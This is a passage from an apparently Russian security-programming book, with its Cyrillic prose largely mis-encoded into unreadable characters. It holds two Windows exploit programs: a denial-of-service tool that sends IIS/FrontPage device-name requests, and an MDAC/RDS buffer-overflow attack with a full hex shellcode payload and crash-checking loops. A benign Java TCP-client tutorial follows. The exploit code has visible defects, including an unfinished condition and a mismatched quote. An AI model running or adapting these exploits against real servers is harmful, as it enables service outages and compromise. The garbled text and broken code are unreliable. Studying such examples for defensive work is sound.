20   char send3[] = "/_vti_bin/shtml.exe/prn.htm";

21   char send4[] = "/_vti_bin/shtml.exe/aux.htm";

22
23   print("Íà÷àëî àòàêè...\n");

24
25   for(int x = 0; x < 9; x++)

26   {

27     printf("Ïðîâåðÿåòñÿ ïîðò %d: ", port[x]);

28     if( is_up(targetip, port[x]) )

29     {

30       printf("ðàáîòàåò!\n");

31       printf("Àòàêà ÷åðåç ïîðò %d ", port[x]);

32
33       get_http(targetip, port[x], send1);

34       get_http(targetip, port[x], send2);

35       get_http(targetip, port[x], send3);

36       get_http(targetip, port[x], send4);

37
38       Sleep(10000);

39
40       if( !(is_up(targetip, port[x])) )

41       {

42         Sleep(10000);

43         if( !(is_up(targetip, port[x])) )

44         {

45            printf("Ïîâàëèëè!\n");

46         }

47        }
48        else
49        {
50         printf("ÍÅÓßÇÂÈÌ.\n");

51        }
52     }

53     else

54     {

55       printf("ÍÅ ðàáîòàåò.\n");

56     }

57   }

58   return (0);

59 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 5 çàäàþòñÿ ïîðòû, íà êîòîðûõ ÷àùå âñåãî ðàáîòàþò Web-ñåð-

âåðû.
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� Â ñòðîêàõ 32–35 ïðîãðàììà ïûòàåòñÿ îòïðàâèòü çàïðîñ íà êàæäûé èç
óÿçâèìûõ ôàéëîâ è âûçâàòü òåì ñàìûì îòêàç îò îáñëóæèâàíèÿ.

� Â ñòðîêàõ 37 âûçûâàåòñÿ ôóíêöèÿ Sleep(), ïðèîñòàíàâëèâàþùàÿ âûïîë-
íåíèå íà 10 ñåêóíä. Åñëè ýêñïëîéò ñðàáîòàë, òî äëÿ êðàõà Web-ñåðâåðà
ïîòðåáóåòñÿ íåñêîëüêî ñåêóíä.

� Â ñòðîêàõ 29–51 ïðîãðàììà ñíîâà îáðàùàåòñÿ ê ñåðâåðó, ïðîâåðÿÿ,
«æèâ» ëè îí åùå. Äåëàåòñÿ äâå ïðîâåðêè ñ èíòåðâàëîì 10 ñåêóíä. Äåëî
â òîì, ÷òî ïîâðåæäåííûé ñåðâåð ìîæåò åùå íåêîòîðîå âðåìÿ îáñëóæè-
âàòü çàïðîñû, òàê ÷òî åãî ïî îøèáêå ìîæíî ñ÷åñòü ðàáîòàþùèì.

Пример: применение WinSock

для реализации атаки с переполнением буфера

Microsoft Data Access Components (MDAC) – ýòî íàáîð êîìïîíåíòîâ äëÿ äîñ-
òóïà ê áàçàì äàííûõ íà ïëàòôîðìå Windows. Îäèí èç íèõ – Remote Data
Services (RDS) – ïîçâîëÿåò îáðàùàòüñÿ ê äàííûì èç Èíòåðíåòà ÷åðåç Web-
ñåðâåð IIS. Èç-çà íåêîððåêòíîé îáðàáîòêè ñòðîê â RDS çëîíàìåðåííûé ïîëü-
çîâàòåëü ìîæåò ïîëó÷èòü óïðàâëåíèå óäàëåííîé ñèñòåìîé, âûçâàâ ïåðåïîëíå-
íèå áóôåðà. Òî÷íåå, ïîñëàâ ñïåöèàëüíî ñêîíñòðóèðîâàííûé ïàêåò, ìîæíî
«ïîâàëèòü» ñåðâåð è âûçâàòü îòêàç îò îáñëóæèâàíèÿ. Â ïðèìåðå 4.8 ïîêàçàíî,
êàê ýòî ñäåëàòü (Microsoft óæå âûïóñòèëà ïàò÷, óñòðàíÿþùèé ýòó îøèáêó).

Пример 4.8. Пример 4.8. Пример 4.8. Пример 4.8. Пример 4.8. Атака на MDAC
 1 #include <stdio.h>

 2 #include "hack.h"

 3
 4 int main(int argc, char *argv[])

 5 {

 6   int port[] = {80, 81, 443, 7000, 8000, 8001, 8080, 8888};

 7   char *targetip;

 8
 9   if (argc < 2)

10   {

11     printf("MDAC DoS usage:\r\n");

12     printf("    %s <TargetIP>\r\n", argv[0]);

13     return(0);

14    }
15
16    targetip = argv[1];
17
18   // Ýêñïëîéò /////////////////////

19
20   char *send[] =

21   "POST /msadc/msadc.dll/AdvancedDataFactory.Query HTTP/1.1/\r\n"

Часто задаваемые вопросы
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22   "User-Agent: ACTIVEDATA\r\n\"

23   "Content-Length: 1075\r\n"

24   "ADCClientVersion: 01.06\r\n"

25   "Content-Type: multipart/mixed;boundary=';"

26 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

27 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

28 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

29 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

30 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

31 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

32 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

33 "\x90\x90\x90\x90\xeb\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

34 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

35 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

36 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

37 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

38 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

39 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc"

40 "\x90\x90\x90\xc7\x05\x20\xf0\xfd\x7f\xd6\x21\xf8\x77\xeb\x03\x5d\xeb"

41 "\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90\x8b\xc5\x33\xc9\x66"

42 "\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95\x64\xe2\x14\xad"

43 "\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95\xc8\x1e\x40"

44 "\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3\xed\x96"

45 "\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa\x96"

46 "\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91"

47 "\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54"

48 "\xa6\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x96"

49 "\x96\x56\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95"

50 "\x95\xa6\x55\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c"

51 "\x93\x95\x95\x95\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52"

52 "\xd2\xfd\x95\x95\x95\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2"

53 "\xf1\xc5\x18\xd2\x85\xc5\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2"

54 "\xf1\xc5\x18\xd2\x8d\xc5\x18\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1"

55 "\x95\x95\x95\x18\xd2\xb5\xc5\x6a\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c"

56 "\xd1\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14\xda\xd9\x94\x94\x95\x95\xf3\x52"

57 "\xd2\xc5\x95\x95\x18\xd2\xe5\xc5\x18\xd2\x95\xc5\xa6\x55\xc5\xc5\xc5"

58 "\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14\x78\xd5\x6b\x6a\x6a\xc0"

59 "\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2\x89\x6a\xc2\x71\xfd"

60 "\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd\x94\x94\x95\x95"

61 "\x6a\xc2\x7d\x10\x55\x9a\x10\x3f\x95\x95\x95\xa6\x55\xc5\xd5\xc5\xd5"

62 "\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d\xf3\x52"

63 "\x92\x97\x95\xf3\x52\xd2\x97\x8e\xac\x52\xd2\x91\xea\x95\x95\x94\xff"

64 "\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3"

65 "\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05"

66 "\x15\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95"

67 "\xc0\x6a\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95"

68 "\x6a\xa3\xc0\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e"

69 "\x27\xff\x95\xfd\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d"

70 "\x05\x05\x05\x05\xe1\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41"
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 71 "\xff\xa7\x6a\xc2\x49\x7e\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc2\x75\xa6"

 72 "\x55\x39\x10\x55\xe0\x6c\xc4\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b"

 73 "\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9"

 74 "\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1"

 75 "\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6\xe1\xf4\xe7\xe1\xe0\xe5\xdc"

 76 "\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xe7\xfa\xf6\xf0\xe6"

 77 "\xe6\xf4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1\xc5\xfc\xe5\xf0\x95"

 76 "\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2\xe7\xfc\xe1\xf0"

 79 "\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95\xc6\xf9\xf0"

 80 "\xf0\xe5\x95\xd0\xed\xfc\xe1\xc5\xe7\xfa\xf6\xf0\xe6\xe6\x95\xd6\xf9"

 81 "\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6\xa7"

 82 "\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0"

 83 "\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb"

 84 "\xfb\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8"

 85 "\xf1\xbb\xf0\xed\xf0\x95\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

 86 "\x90\x90\x90\xc7\x05\x20\xf0\xfd\x7f\xd6\x21\xf8\x77\x0d\x0a\x0d\x0a"

 87   "Host: localhost\r\n\r\n";

 88
 89   printf("Íà÷àëî àòàêè...");

 90   char *output = NULL;

 91   for(int x = 0; x < 9; x++)

 92   {

 93     for(int count = 0; count < 5; count++)

 94     {

 95       printf("ïîðò %d: ", port[x]);

 96       if( is_up(targetip, port[x]) )

 97       {

 98         printf("ðàáîòàåò\n");

 99         Sleep(3000);

100         printf("ÀÒÀÊÀ !!!");

101
102         output = send_exploit(targetip, port[x], send);

103         printf("Ýêñïëîéò îòïðàâëåí");

104
105         if( is_string_in("server: microsoft", output) &&

106             is_string_in("remote procedure", output) &&

107             is_string_in("failed", output) &&

108         {

109           printf("Ïîâàëèëè!"\n);

110         }

111         else

112         {

113           printf("Åùå æèâ.\n");

114         }

115       }

116       else

117       {

118         count = 5;

119         printf("óìåð.\n");

Часто задаваемые вопросы
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120       }

121     }

122   }

123   return(0);

124 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå ñ 20 ïî 86 íàõîäèòñÿ ïîñûëàåìàÿ ýêñïëîéòîì ñòðîêà (shell-êîä).

Çíà÷èòåëüíóþ ÷àñòü åå ñîñòàâëÿþò øåñòíàäöàòåðè÷íûå ñèìâîëû, êîòî-
ðûå ïðèâåäóò ê ïåðåïîëíåíèþ áóôåðà è îòêàçó êîìïîíåíòà MDAC.

� Â ñòðîêàõ 91–121 ýêñïëîéò ïîñûëàåòñÿ íåñêîëüêî ðàç è ïîñëå êàæäîé
ïîïûòêè ïðîâåðÿåòñÿ, ïðèâåëà ëè îíà ê êðàõó ñåðâåðó.
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Введение
Java Sockets – ýòî ïðîãðàììíûé èíòåðôåéñ, ïîçâîëÿþùèé ïðèëîæåíèÿì, íà-
ïèñàííûì íà ÿçûêå Java, îáìåíèâàòüñÿ äàííûìè ïî ïðîòîêîëàì èç ñåìåéñòâà
TCP/IP. Èíòåðôåéñ ñîñòîèò èç íàáîðà ïðîñòûõ â ïðèìåíåíèè êëàññîâ, êîòî-
ðûå àáñòðàãèðóþò ìíîãèå ñëîæíîñòè, ñâîéñòâåííûå ñåòåâîìó ïðîãðàììèðî-
âàíèþ. Âñå ýòè êëàññû âõîäÿò â ñîñòàâ ïàêåòà java.net è ÿâëÿþòñÿ ÷àñòüþ ñïå-
öèôèêàöèè Java 2.

Ïîìèìî ïîääåðæêè ïðîòîêîëîâ TCP è UDP äëÿ ïðîãðàììèðîâàíèÿ êëèåíò-
ñêèõ è ñåðâåðíûõ ñîêåòîâ, â ïàêåòå java.net èìåþòñÿ òàêæå ñðåäñòâà äëÿ ðàçáî-
ðà IP-àäðåñîâ, ðàçðåøåíèÿ äîìåííûõ èìåí è ðåøåíèÿ ìíîãèõ äðóãèõ çàäà÷,
âîçíèêàþùèõ ïðè íàïèñàíèè ñåòåâûõ ïðîãðàìì.

Â ýòîé ãëàâå ðàññìîòðåíû âîïðîñû ïðîãðàììèðîâàíèÿ êëèåíòñêèõ è ñåð-
âåðíûõ ñîêåòîâ äëÿ ïðîòîêîëîâ TCP è UDP ñ ïðèìåíåíèåì êëàññîâ èç ïàêåòà
java.net. Ìû òàêæå êðàòêî îñòàíîâèìñÿ íà ìàíèïóëèðîâàíèè IP-àäðåñàìè,
ðàçðåøåíèè èìåí è èñïîëüçîâàíèè íåñêîëüêèõ ïîòîêîâ â TCP-êëèåíòå.

Примечание

Все примеры в этой главе были написаны и откомпилированы на
платформе Microsoft Windows 2000 с помощью стандартного комп�
лекта для разработки Software Development Kit (SDK) для версии
Java 2 v1.4.1.

Обзор протоколов TCP/IP
Â íàáîð ïðîòîêîëîâ TCP/IP âõîäèò íåñêîëüêî ñåòåâûõ ïðîòîêîëîâ. Íà ïðè-
êëàäíîì óðîâíå ÷àùå âñåãî ïðèìåíÿþòñÿ ïðîòîêîëû TCP è UDP. Ïðîòîêîë
TCP ïðåäîñòàâëÿåò íàäåæíîå, äâóñòîðîííåå ñîåäèíåíèå è äîïóñêàåò ìóëüòè-
ïëåêñèðîâàíèå íà íåñêîëüêî ïîðòîâ. Ãàðàíòèðóåòñÿ, ÷òî óäàëåííûé õîñò ïî-
ëó÷èò ïîñëàííûå ïî ïðîòîêîëó TCP äàííûå â íåèçìåííîì âèäå. Ýòîò ïðîòî-
êîë íàäåæåí, íî èç-çà íàêëàäíûõ ðàñõîäîâ, íåîáõîäèìûõ äëÿ ñëîæíîé ðåàëè-
çàöèè îáðàáîòêè îøèáîê è óïðàâëåíèÿ ïîòîêîì, îí ðàáîòàåò ñðàâíèòåëüíî
ìåäëåííî.

Ïðîòîêîë UDP îáåñïå÷èâàåò íåíàäåæíóþ äîñòàâêó äàòàãðàìì è òîæå ïîä-
äåðæèâàåò ìóëüòèïëåêñèðîâàíèå íà íåñêîëüêî ïîðòîâ. Ïîñëàííûå ïî ïðî-
òîêîëó UDP äàííûå ìîãóò ïðèéòè èñêàæåííûìè, â äðóãîì ïîðÿäêå èëè íå
ïðèéòè âîâñå. Âîçìîæíî òàêæå ïîÿâëåíèå äóáëèêàòîâ. Íî ïðè ýòîì ïðîòî-
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êîë UDP ðàáîòàåò î÷åíü áûñòðî. Îí áîëüøå ïîäõîäèò äëÿ èñïîëüçîâàíèÿ
â ëîêàëüíûõ ñåòÿõ, ãäå ïðîïàäàíèå èëè èñêàæåíèå ïàêåòîâ ìàëîâåðîÿòíî.
Äëÿ àäðåñàöèè õîñòîâ â ñåòÿõ IPv4 èñïîëüçóþòñÿ 4-áàéòîâûå ÷èñëà. Ó áîëü-
øèíñòâà õîñòîâ âñåãî îäèí IP-àäðåñ, íî áûâàåò è íåñêîëüêî.

Íîìåð ïîðòà – äâóõáàéòîâîå áåççíàêîâîå öåëîå ÷èñëî – â ñî÷åòàíèè
ñ IP-àäðåñîì îäíîçíà÷íî îïðåäåëÿåò «îêîíå÷íóþ òî÷êó» íà ëþáîì õîñòå. Âñå-
ãî äëÿ êàæäîãî IP-àäðåñà ñóùåñòâóåò 216–1 âîçìîæíûõ îêîíå÷íûõ òî÷åê. Â êàæ-
äîì TCP-ñåãìåíòå èëè UDP-äàòàãðàììå ïðèñóòñòâóþò IP-àäðåñà è íîìåðà
ïîðòîâ îòïðàâèòåëÿ è ïîëó÷àòåëÿ.

Êëèåíò, ðàáîòàþùèé ïî ïðîòîêîëó TCP èëè UDP, îòïðàâëÿåò äàííûå èç
ñâîåãî ëîêàëüíîãî ïîðòà â ïîðò óäàëåííîãî õîñòà ñ èçâåñòíûì IP-àäðåñîì.
Íîìåð ëîêàëüíîãî ïîðòà îáû÷íî âûáèðàåòñÿ èç äèàïàçîíà 1025 – 65535. Ïîð-
òû ñ íîìåðàìè îò 1 äî 1024 êàê ïðàâèëî çàðåçåðâèðîâàíû äëÿ ïðèâèëåãèðî-
âàííûõ ñëóæá. Íîìåðà íåêîòîðûõ ïîðòîâ ôèêñèðîâàíû îðãàíàìè ñòàíäàðòè-
çàöèè è íå äîëæíû çàíèìàòüñÿ ïîä äðóãèå ñëóæáû. Òàê, íàïðèìåð, äëÿ ïðîòî-
êîëà HTTP âûäåëåí ïîðò TCP/80, äëÿ ïðîòîêîëà SMTP – ïîðò TCP/25, à äëÿ
ñëóæáû ðàçðåøåíèÿ äîìåííûõ èìåí (DNS) – ïîðò UDP/53.

TCP3клиенты

Áëàãîäàðÿ ïàêåòó java.net, ïðîãðàììèðîâàíèå êëèåíòñêèõ TCP-ñîêåòîâ íå
âûçûâàåò ñëîæíîñòåé. Âñå äåòàëè ñîçäàíèÿ è óïðàâëåíèÿ íîâûìè TCP-ñîåäè-
íåíèÿìè èíêàïñóëèðîâàíû â êëàññ Socket. Äëÿ ïåðåäà÷è è ïðèåìà äàííûõ
ïðèìåíÿþòñÿ ñòàíäàðòíûå êëàññû InputStream è OutputStream èç ïàêåòà
java.io.

Â êëàññå Socket îïðåäåëåíû íåñêîëüêî êîíñòðóêòîðîâ è ìåòîäîâ äëÿ óñòà-
íîâëåíèÿ, óïðàâëåíèÿ è ðàçðûâà ñîåäèíåíèÿ. Êîíñòðóêòîðû ñëóæàò äëÿ ñîçäà-
íèÿ íîâûõ ñîåäèíåíèé, à ïðî÷èå ìåòîäû – äëÿ îòïðàâêè è ïðèåìà äàííûõ,
ïîëó÷åíèÿ èíôîðìàöèè î ñîñòîÿíèè ñîåäèíåíèÿ, òîíêîé íàñòðîéêè ðàçëè÷-
íûõ àñïåêòîâ îáìåíà äàííûìè è ðàçðûâà ñîåäèíåíèÿ.

Èç âñåãî ýòîãî áîãàòñòâà äëÿ ðåàëèçàöèè áàçîâîé ôóíêöèîíàëüíîñòè êëè-
åíòñêîãî TCP-ñîêåòà íåîáõîäèìî ëèøü íåñêîëüêî ìåòîäîâ.

Пример 5.1.Пример 5.1.Пример 5.1.Пример 5.1.Пример 5.1. Клиентский TCP*сокет (TCPClient1.java)
1 /*

2  * TCPClient1.java

3  *

4  * Ïðîãðàììà äëÿ ñîçäàíèÿ êëèåíòñêîãî TCP-ñîêåòà,

5  * ïîëó÷åíèÿ è ïðèåìà äàííûõ ïî ïðîòîêîëó

6  * HTTP 1.0.

7  *

8  * Ïîðÿäîê çàïóñêà:

Обзор протоколов ТСР/IP
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 9  *

10  * java TCPClient1 <target_ip> <target_port> <resource>

11  *

12  *

13  */

14 import java.io.* ;

15 import java.net.*;

16
17 public class TCPClient1

18 {

19   public static void main(String[] args)

20   {

21     InputStream  is    = null;

22     OutputStream os    = null;

23     Socket       sock  = null;

24     String       addr  = null;

25     String       res   = null;

26     String       send  = null;

27     String       tmp   = null;

28     byte[]       recv  = new byte[4096];

29     int          port  = 0;

30     int          len   = 0;

31
32     if(args.length != 3)

33     {

34       System.err.println("usage: java TCPClient1" +

35                          " <target_ip> <target_port>" +

36                          " <resource>.");

37
38       System.err.println("Ïðèìåð: java TCPClient1" +

39                          "127.0.0.1 80 /");

40
41       System.exit(1);

42     }

43
44     addr = args[0];

45     tmp  = args[1];

46     res  = args[2];

47
48     try

49     {

50       // ïðåîáðàçîâàòü íîìåð ïîðòà â öåëîå ÷èñëî

51       port = Integer.parseInt(tmp);

52
53       // óñòàíîâèòü ñîåäèíåíèå ñ IP-àäðåñîì è ïîðòîì

54       sock = new Socket(addr, port);

55
56       // ïîëó÷èòü îò ñîêåòà ïîòîêè äëÿ ââîäà è âûâîäà

57       is = sock.getInputStream ();
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58       os = sock.getOutputStream();

59
60       // èñêëþ÷åíèÿ íå áûëî, çíà÷èò, ñîåäèíåíèå óñòàíîâëåíî

61       send = "GET " + res + " HTTP/1.0\r\n\r\n";

62
63       // ïîñëàòü HTTP-çàïðîñ

64       os.write(send.getBytes());

65
66       // ïðî÷èòàòü îòâåò

67       len = is.read(recv);

68
69       // çàêðûòü ñîåäèíåíèå

70       sock.close();

71
72       // íàïå÷àòàòü ðåçóëüòàò

73       if(len > 0)

74       {

75         // ïðåîáðàçîâàòü ïîëó÷åííûå áàéòû â ñòðîêó

76         tmp = new String (recv);

77
78         // âûâåñòè íà stdout

79         System.out.println(tmp );

80       }

81     }

82     catch (NumberFormatException nfe)

83     {

84       // çíà÷åíèå ïîðòà – íå ÷èñëî?

85       System.err.println("NumberFormatException:"

86                        + nfe.getMessage());

87     }

88     catch (IOException ioe)

89     {

90       // îøèáêà ïðè óñòàíîâëåíèè ñîåäèíåíèÿ?

91       System.err.println("IOException:"

92                        + ioe.getMessage());

93     }

94   }

95 }

ÊîìïèëÿöèÿÊîìïèëÿöèÿÊîìïèëÿöèÿÊîìïèëÿöèÿÊîìïèëÿöèÿ
C:\> j2sdk1.4.1_02\bin\javac.exe TCPClient1.java

C:\> dir
.
.
TCPClient1.class
.
.

Обзор протоколов ТСР/IP
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Ïðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿ
C:\> j2sdk1.4.1_02\bin\java.exe TCPClient1.java

usage: java TCPClient1 <target_ip> <target_port> <resource>
Ïðèìåð: java TCPClient1 127.0.0.1 80 /

C:\> j2sdk1.4.1_02\bin\java.exe TCPClient1.java 127.0.0.1 80 /

HTTP/1.0 200 OK
Server: thttpd/2.3beta1 26 may 2002
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 26 May 2003 06:16:51 GMT
Last-Modified: Thu, 08 May 2003 19:30:33 GMT
Accept-Ranges: bytes
Connection: close
Content-Length: 339

Â ýòîì ïðèìåðå ñîçäàåòñÿ êëèåíòñêèé TCP-ñîêåò è óñòàíàâëèâàåòñÿ ñîåäè-
íåíèå ñ ïîðòîì 80 HTTP-ñåðâåðà. Çàòåì ñåðâåðó îòïðàâëÿåòñÿ çàïðîñ, ïîñëå
÷åãî ÷èòàåòñÿ è âûâîäèòñÿ (íà ñòàíäàðòíûé âûâîä) ïîëó÷åííûé îòâåò. Ïðè-
ìåð ïîëåçåí òåì, ÷òî äåìîíñòðèðóåò, íàñêîëüêî ïðîñòî óñòàíîâèòü è èñïîëü-
çîâàòü ñîåäèíåíèå ñ ïîìîùüþ êëàññà Socket.

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 32 ðàçáèðàþòñÿ è ïðîâåðÿþòñÿ àðãóìåíòû, çàäàííûå â êîìàí-

äíîé ñòðîêå.
� Â ñòðîêå 51 âûçûâàåòñÿ ìåòîä parseInt(), ïðåîáðàçóþùèé íîìåð ïîðòà

èç ñèìâîëüíîãî â ÷èñëîâîå ïðåäñòàâëåíèå, êîòîðîãî îæèäàåò êîíñò-
ðóêòîð êëàññà Socket.

� Â ñòðîêå 54 ñîçäàåòñÿ îáúåêò êëàññà Socket, ïðè÷åì êîíñòðóêòîðó ïåðå-
äàþòñÿ çàäàííûå â êîìàíäíîé ñòðîêå IP-àäðåñ è íîìåð ïîðòà. Â ïðî-
öåññå ñîçäàíèÿ óñòàíàâëèâàåòñÿ TCP-ñîåäèíåíèå. Â ñëó÷àå îøèáêè, òî
åñòü íåâîçìîæíîñòè îòêðûòü ñîåäèíåíèå, âîçáóæäàåòñÿ èñêëþ÷åíèå
IOException.

� Â ñòðîêå 57 ìû ñ ïîìîùüþ ìåòîäà getInputStream() çàïðàøèâàåì
ó îáúåêòà Socket ýêçåìïëÿð êëàññà InputStream – ïîòîê, èç êîòîðîãî áó-
äóò ñ÷èòûâàòüñÿ äàííûå.

� Â ñòðîêå 58 ìåòîä getOutputStream() âîçâðàùàåò ýêçåìïëÿð êëàññà
OutputStream – ïîòîê, â êîòîðûé áóäóò çàïèñûâàòüñÿ äàííûå.

� Â ñòðîêå 61 ôîðìàòèðóåòñÿ è ñîõðàíÿåòñÿ â ïåðåìåííîé send çàïðîñ GET
ïî ïðîòîêîëó HTTP 1.0.

� Â ñòðîêå 64 ñòðîêîâàÿ ïåðåìåííàÿ send ïðåîáðàçóåòñÿ â ìàññèâ áàéòîâ
ñ ïîìîùüþ ìåòîäà getBytes() êëàññà String. Ýòîò ìàññèâ îòïðàâëÿåòñÿ Web-
ñåðâåðó ïîñðåäñòâîì âûçîâà ìåòîäà write() îáúåêòà êëàññà OutputStream.
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� Â ñòðîêå 67 âûçûâàåòñÿ ìåòîä read() èç êëàññà InputStream, ÷òîáû ïðî-
÷èòàòü íå áîëåå 4096 áàéòîâ â ìàññèâ recv. ×èñëî ðåàëüíî ïðî÷èòàí-
íûõ áàéòîâ ñîõðàíÿåòñÿ â ïåðåìåííîé len.

� Â ñòðîêå 70 ñîêåò çàêðûâàåòñÿ, ÷òî ïðèâîäèò ê ðàçðûâó TCP-ñîåäèíåíèÿ.
� Â ñòðîêå 76 ïðîâåðÿåòñÿ çíà÷åíèå len, ïîëó÷åííîå îò ìåòîäà read(). Åñëè

îíî áîëüøå íóëÿ, òî áàéòîâûé ìàññèâ recv ïðåîáðàçóåòñÿ â îáúåêò
êëàññà String.

� Â ñòðîêå 79 ïîëó÷åííûå îò Web-ñåðâåðà äàííûå âûâîäÿòñÿ íà ïå÷àòü.
� Â ñòðîêå 82 îáðàáàòûâàåòñÿ èñêëþ÷åíèå òèïà NumberFormatException.

Åãî âîçáóæäàåò ìåòîä parseInt() êëàññà Integer â ñòðîêå 51, åñëè íîìåð
ïîðòà, çàäàííûé â êîìàíäíîé ñòðîêå, íåëüçÿ ïðåîáðàçîâàòü â ÷èñëî.

� Â ñòðîêå 88 îáðàáàòûâàåòñÿ èñêëþ÷åíèå òèïà IOException. Îíî âîçíè-
êàåò â ñëó÷àå îøèáêè ïðè ïîïûòêå óñòàíîâèòü TCP-ñîåäèíåíèå, ïåðå-
äàòü äàííûå èëè çàêðûòü ñîåäèíåíèå. Ê ñîæàëåíèþ, êëàññ IOException
íå ïðåäîñòàâëÿåò ñòîëü æå ïîäðîáíóþ èíôîðìàöèþ îá îøèáêå, êàê
ïåðåìåííàÿ errno â ïðîãðàììàõ íà C/C++. Ïîýòîìó ïðèõîäèòñÿ ïîëà-
ãàòüñÿ íà ìåòîä getMessage() äëÿ ïîëó÷åíèÿ ñîîáùåíèÿ, íàïðèìåð,
«Connect failed» (Îøèáêà ïðè óñòàíîâëåíèè ñîåäèíåíèÿ).

Разрешение IP3адресов и доменных имен

Èíîãäà áûâàåò ïîëåçíî ïðåîáðàçîâàòü IP-àäðåñ, çàäàííûé â òî÷å÷íî-äåñÿòè÷-
íîé íîòàöèè, â èìÿ õîñòà è íàîáîðîò. Áûâàåò òàêæå íåîáõîäèìà èíôîðìàöèÿ
îá îêîíå÷íûõ òî÷êàõ TCP èëè UDP-ñîåäèíåíèÿ. Çà ïðåäñòàâëåíèå è ïðåîáðà-
çîâàíèå àäðåñîâ èç îäíîé ôîðìû â äðóãóþ îòâå÷àåò êëàññ InetAddress èç ïàêåòà
java.net.

